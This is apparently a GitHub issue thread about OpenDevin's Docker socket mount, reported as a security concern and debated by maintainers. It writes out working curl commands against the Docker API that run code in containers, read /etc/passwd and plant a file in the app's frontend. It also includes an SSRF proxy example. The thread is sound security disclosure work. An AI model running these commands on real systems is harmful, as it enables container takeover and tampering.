OpenHands
OpenHands copied to clipboard
Switch from DOOD to DIND
Is there an existing issue for the same bug?
- [X] I have checked the troubleshooting document at https://opendevin.github.io/OpenDevin/modules/usage/troubleshooting
- [X] I have checked the existing issues.
Describe the bug
An attacker can completely compromise Docker containers by exposing the /var/run/docker.sock file. The default installation appears to have “/var/run/docker.sock:/var/run/docker.sock” defined. You can gain full control over the Docker Daemon by accessing docker.sock.
Normally, the command “docker exec -it container bash” can be used to run code in containers. It is also possible to run commands in docker containers with HTTP raw or curl commands. And with that it gives some ideas for SSRF scenarios.
I prepared a simple example about this. Use the docker api with curl to get the RCE in the container :
list all containers
curl -i -s --unix-socket /var/run/docker.sock -X GET http:/127.0.0.1/containers/json
use the returned id value.
curl -i -s --unix-socket /var/run/docker.sock -X POST \
"http:/127.0.0.1/containers/interesting_mestorf/exec" \
-H "Content-Type: application/json" \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": false,
"Cmd": ["cat", "/etc/passwd"]
}'
HTTP/1.1 201 Created
Api-Version: 1.44
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/25.0.3 (linux)
Date: Fri, 10 May 2024 08:45:47 GMT
Content-Length: 74
{"Id":"89dd7d3fbf24bb71bcc107680e3a1dc0dc866f579f8d228a80ae936dbbb531ae"}
curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/89dd7d3fbf24bb71bcc107680e3a1dc0dc866f579f8d228a80ae936dbbb531ae/start
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.44
Docker-Experimental: false
Ostype: linux
Server: Docker/25.0.3 (linux)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
opendevin:x:42420:42420::/home/opendevin:/bin/bash
enduser:x:1000:42421::/home/enduser:/bin/bash
Current Version
opendevin:0.5
Installation and Configuration
https://opendevin.github.io/OpenDevin/
export WORKSPACE_BASE=$(pwd)/workspace
docker run \
--pull=always \
-e SANDBOX_USER_ID=$(id -u) \
-e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \
-v $WORKSPACE_BASE:/opt/workspace_base \
-v /var/run/docker.sock:/var/run/docker.sock \
-p 3000:3000 \
--add-host host.docker.internal:host-gateway \
ghcr.io/opendevin/opendevin:0.5
Model and Agent
No response
Reproduction Steps
No response
Logs, Errors, Screenshots, and Additional Context
No response
This is by design--it's a DOOD setup, though we're definitely interested in DIND for enhanced security.
Importantly, note that only the application has access to the docker API, not the sandbox environment. This volume isn't mounted in the sandbox.
@rbren As far as I understand, the opendevin sandbox created from the main application is also affected by the unix socket. It is accessed directly as in the example below.
docker ps :
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
6297e0bfbd68 ghcr.io/opendevin/sandbox:main "/usr/sbin/sshd -D -…" 7 minutes ago Up 7 minutes 0.0.0.0:36881->36881/tcp, :::36881->36881/tcp opendevin-sandbox-e319df50-8032-4492-a111-fa6849f0913384488afe-8214-47ba-ba0d-f08418767bc0
6cb9679201d2 ollama/ollama "/bin/ollama serve" 55 minutes ago Up 55 minutes 0.0.0.0:11434->11434/tcp, :::11434->11434/tcp ollamaxyzp
fd3607724645 ghcr.io/opendevin/opendevin:0.5 "/app/entrypoint.sh …" 56 minutes ago Up 56 minutes 0.0.0.0:3000->3000/tcp, :::3000->3000/tcp inspiring_morse
curl -i -s --unix-socket /var/run/docker.sock -X POST \
"http:/127.0.0.1/containers/opendevin-sandbox-e319df50-8032-4492-a111-fa6849f0913384488afe-8214-47ba-ba0d-f08418767bc0/exec" \
-H "Content-Type: application/json" \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": false,
"Cmd": ["cat", "/etc/passwd"]
}'
8d26087cfa6e5673c18751f0cf8b1cf65f7872cfbf2d187ff1719da21b8c8fca
curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/8d26087cfa6e5673c18751f0cf8b1cf65f7872cfbf2d187ff1719da21b8c8fca/start
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
opendevin:x:1000:0::/home/opendevin:/bin/bash
You can also modify the codebase of the main application. In the simple example below I added localhost:3000/pwned.html. You can create a backdoor by modifying the index.html file.
curl -i -s --unix-socket /var/run/docker.sock -X POST \
"http://127.0.0.1/containers/inspiring_morse/exec" \
-H "Content-Type: application/json" \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": false,
"Cmd": ["sh", "-c", "echo 'pwnded' >> /app/frontend/dist/pwned.html"]
}'
9d9f826d23d22e6c5ee8618a2556f214f95ad97393add5915a64080ef83c8b30
curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/9d9f826d23d22e6c5ee8618a2556f214f95ad97393add5915a64080ef83c8b30/start
root@fd3607724645:/app/frontend/dist# ls
android-chrome-192x192.png apple-touch-icon.png browserconfig.xml favicon-32x32.png index.html mstile-150x150.png robots.txt site.webmanifest
android-chrome-512x512.png assets favicon-16x16.png favicon.ico locales **pwned.html** safari-pinned-tab.svg
Looking through this now--let me check my understanding.
In the first example, you're running curl /var/run/docker.sock
on your local machine, which allows you to muck about with the sandbox (running cat /etc/passwd
). This is normal--the host machine should be able to do whatever it wants with the containers running inside it. Did I miss something there?
In the second example, again, you run curl /var/run/docker.sock
on your local machine to mess with the application container image. Again--this seems like normal behavior, where the host machine can muck with the containers its hosting.
What would concern me is if you can run (pseudocode):
docker exec -it $SANDBOX_IMAGE curl /var/run/docker.sock
That is, if from inside the sandbox image, you're able to mess with docker. That definitely shouldn't be possible, and if it is there's a security hole. Because that means the LLM can escape its container and mess with the application and potentially the host machine.
@rbren If I caused some confusion, let me try to express it more clearly.
As far as I understand, there are two situations here:
- Finding a way to access the host from within Docker, i.e., from the sandbox. (I haven't tried this part.)
- Another issue is that when we provide unix.socket access, unauthorized access to Docker via HTTP is also possible.
In the documentation at https://opendevin.github.io/OpenDevin/, it is mentioned as /var/run/docker.sock. Therefore, it seems highly likely that the end user will use it in this way.
In this case, it execute a Unix Domain Socket. Yes, I am local up to this point. Since I use the Docker API here, I wanted to demonstrate the impact there using curl.
The risk here arises from a vulnerability called Server-Side Request Forgery (SSRF). It is a security vulnerability that allows an attacker to use input from an untrusted source to make requests to other systems within the server's internal network or under its control.
Below, I made a simple example of how a unix.socket HTTP request can be made from an internal web application.
const express = require('express');
const axios = require('axios');
const app = express();
const port = 3000;
const dockerSocketPath = '/var/run/docker.sock';
const trustedIPs = ['127.0.0.1', '::1'];
const axiosInstance = axios.create({
socketPath: dockerSocketPath,
baseURL: 'http://localhost',
timeout: 1000,
});
function validateRequest(req, res, next) {
const clientIP = req.ip;
if (!trustedIPs.includes(clientIP)) {
return res.status(403).json({ error: 'Forbidden' });
}
next();
}
app.use(validateRequest);
app.get('/', (req, res) => {
res.send('test');
});
app.get('/containers', async (req, res) => {
try {
const response = await axiosInstance.get('/containers/json');
res.json(response.data);
} catch (error) {
res.status(500).json({ error: error.message });
}
});
app.listen(port, () => {
console.log(`Server listening at http://localhost:${port}`);
});
After starting the server, you can navigate to http://127.0.0.1:3000/containers to see the container list.
Additionally, I think Nginx misconfigurations can also lead to such SSRF vulnerabilities.
The proxy_pass feature in Nginx supports proxying requests to local unix sockets. What might be surprising is that the URI given to proxy_pass can be prefixed with http:// or as a UNIX-domain socket path specified after the word unix and enclosed in colons: proxy_pass http://unix:/var/run/docker.sock:/uri/; This means that in our example, we could make proxy_pass connect to a local unix socket and control parts of the data that would be sent to it. ref
/var/run/docker.sock
is open regardless of our app attaching to it though. E.g. even if you've never installed OpenDevin, you can still run
curl -i -s --unix-socket /var/run/docker.sock -X POST ...
Attaching to the socket just allows the OpenDevin app to use the same docker that's running on your local machine
It really looks like this, you are right. It can be overlooked using “filter” but it still doesn't prevent it